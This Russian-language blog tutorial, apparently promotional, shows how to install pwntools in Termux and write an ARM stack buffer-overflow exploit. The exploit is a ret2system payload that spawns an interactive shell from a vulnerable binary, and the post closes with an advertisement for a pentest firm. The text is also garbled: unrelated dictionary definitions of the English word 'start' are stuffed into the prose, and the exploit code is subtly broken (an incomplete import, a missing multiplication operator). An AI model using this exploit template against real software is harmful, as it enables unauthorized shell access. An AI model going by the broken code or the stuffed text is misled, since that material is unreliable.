Termux – это мощный терминал для Android, который позволяет превратить ваш смартфон в полноценную Linux‑среду. Благодаря поддержке ARM‑архитектуры, в нем можно разрабатывать и тестировать эксплойты, ориентированные на широкую аудиторию мобильных устройств. В этой статье мы покажем, как установить pwntools и написать первый эксплойт, используя возможности start разработки прямо в Termux. По определению, start – «to begin doing something» ([cambridge.org](https://dictionary.cambridge.org/us/dictionary/english/start), [oxfordlearnersdictionaries.com](https://oxfordlearnersdictionaries.com/definition/english/start_1), [dictionary.com](https://www.dictionary.com/browse/start)).
Установка Termux и базовая настройка среды
Сначала установите Termux из Google Play или F-Droid, запустите его и выполните обновление пакетов:
apt update && apt upgrade -y
Установим необходимые инструменты:
apt install -y python git clang make gcc gdb qemu-user-static
Создадим виртуальное окружение Python, чтобы изолировать зависимости:
python -m venv ~/pwntools-env
source ~/pwntools-env/bin/activate
Установка pwntools в Termux
Pwntools – это библиотека Python, специально разработанная для разработки эксплойтов. Установим её через pip:
pip install --upgrade pip
pip install pwntools
Проверьте, что установка прошла успешно:
python -c "import pwn; print(pwn.version)"
Разработка эксплойта: пример на ARM
Рассмотрим простой пример эксплойта, который использует уязвимость переполнения буфера в ARM‑бинарнике vuln. Предположим, что у вас уже есть скомпилированный ELF‑файл для ARM.
from pwn import
# Указываем архитектуру ARM
context.arch = 'arm'
# Путь к уязвимому бинарнику
elf = ELF('./vuln')
# Адрес функции system и строки "/bin/sh" (примерные значения)
system_addr = 0x000104f0
binsh_addr = 0x00010824
# Формируем payload: буфер + адрес system + адрес возврата + "/bin/sh"
payload = b'A' 112 # размер буфера, найденный через cyclic
payload += p32(system_addr)
payload += p32(0xdeadbeef) # возврат после system (можно заполнить)
payload += p32(binsh_addr)
# Запускаем процесс в эмуляторе qemu-arm
p = process(['qemu-arm', './vuln'])
p.sendline(payload)
p.interactive()
В этом коде мы start‑уем процесс через process из pwntools, передавая ему эмуляцию ARM‑архитектуры.
Тестирование эксплойта в эмуляторе и на реальном устройстве
Для быстрой проверки используем qemu-arm – эмулятор, который уже установлен в Termux. Запустите скрипт, как показано выше, и убедитесь, что получаете интерактивную оболочку.
Для тестирования на реальном устройстве скопируйте бинарник и скрипт в папку /data/data/com.termux/files/home/ и выполните их напрямую:
chmod +x vuln
python exploit.py
Если эксплойт работает, вы получите доступ к шеллу целевого процесса. В случае ошибок проверьте адреса функций с помощью objdump -d vuln или gdb в режиме qemu-arm -g 1234 ./vuln.
Оптимизация и отладка
- Используйте
gdbв связке с pwntools:pwn.debug('./vuln')для интерактивного отладки. - Проверьте выравнивание стека (stack alignment) – в ARM важно держать
spкратным 8. - Для сложных ROP‑цепочек применяйте
ROP‑модуль pwntools:rop = ROP(elf). - Не забывайте о системе защиты
NXиPIE. При необходимости используйтеexecstackили отключите ASLR в эмуляторе.
Заключение
Termux в сочетании с pwntools предоставляет полностью автономную платформу для разработки и тестирования эксплойтов на ARM‑устройствах. Вы можете start‑овать процесс разработки прямо на смартфоне, проводить отладку, использовать эмуляцию qemu‑arm и сразу проверять результаты на реальном устройстве.
Если вам требуется глубокий аудит безопасности мобильных приложений, написание кастомных эксплойтов или обучение сотрудников, команда RybinskLab готова помочь. Мы предоставляем услуги по консультациям, проведению пентестов, разработке эксплойтов и обучению специалистов в области мобильной безопасности.